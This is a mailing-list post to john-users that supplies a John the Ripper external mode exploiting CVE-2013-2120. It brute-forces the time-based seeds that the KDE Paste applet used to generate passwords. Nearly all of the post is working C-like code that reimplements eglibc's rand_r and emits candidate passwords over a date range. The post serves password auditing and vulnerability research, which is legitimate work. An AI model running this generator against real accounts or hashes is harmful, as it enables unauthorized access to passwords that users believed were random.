[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Tue, 11 Jun 2013 14:22:50 +1000
From: Michael Samuel <mik@...net.net>
To: john-users@...ts.openwall.com
Subject: KDE Paste Applet external mode
This takes advantage of CVE-2013-2120 to find seeds that KDE Paste applet
uses to generate passwords.
[List.External:KDEPaste]
int charset[95];
int charset_length, password_length, endTime, startTime, msec;
void init()
{
password_length = 8; /* Change this to match config */
endTime = 1375279200; /* Aug 1 2013 - Change this as necessary */
startTime = 1343743200; /* Aug 1 2012 - Change this as necessary */
msec = 1; /* msec is never 0 - it would crash the applet */
charset_length = 0;
int c;
/* Comment out classes that you don't need, but keep the order the same */
/* Lowers */
c = 'a'; while (c <= 'z') charset[charset_length++] = c++;
/* Uppers */
c = 'A'; while (c <= 'Z') charset[charset_length++] = c++;
/* Numbers */
c = '0'; while (c <= '9') charset[charset_length++] = c++;
charset[charset_length++] = '0'; /* Yep, it's there twice */
/* Symbols */
c = '!'; while (c <= '/') charset[charset_length++] = c++;
c = ':'; while (c <= '@') charset[charset_length++] = c++;
c = '['; while (c <= '`') charset[charset_length++] = c++;
c = '{'; while (c <= '~') charset[charset_length++] = c++;
}
void generate()
{
int i, rand_seed, rand_result;
/* Terminate once we've generated for all *
* of the time range (Plus a bit more...) */
if (endTime + 1000 < startTime) {
word = 0;
return;
}
/* Skip msecs that would generate dupes */
while(endTime % msec != 0) {
if(++msec > 999) {
endTime--;
msec = 1;
}
}
rand_seed = endTime / msec;
i = 0;
while(i < password_length) {
/* This is rand_r() as used in eglibc */
rand_seed *= 1103515245;
rand_seed += 12345;
rand_result = (rand_seed >> 16) & 2047;
rand_seed *= 1103515245;
rand_seed += 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
rand_seed *= 1103515245;
rand_seed += 12345;
rand_result <<= 10;
rand_result ^= (rand_seed >> 16) & 1023;
word[i++] = charset[rand_result % charset_length];
}
word[i] = 0;
if(++msec > 999) {
endTime--;
msec = 1;
}
}
Powered by blists - more mailing lists
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
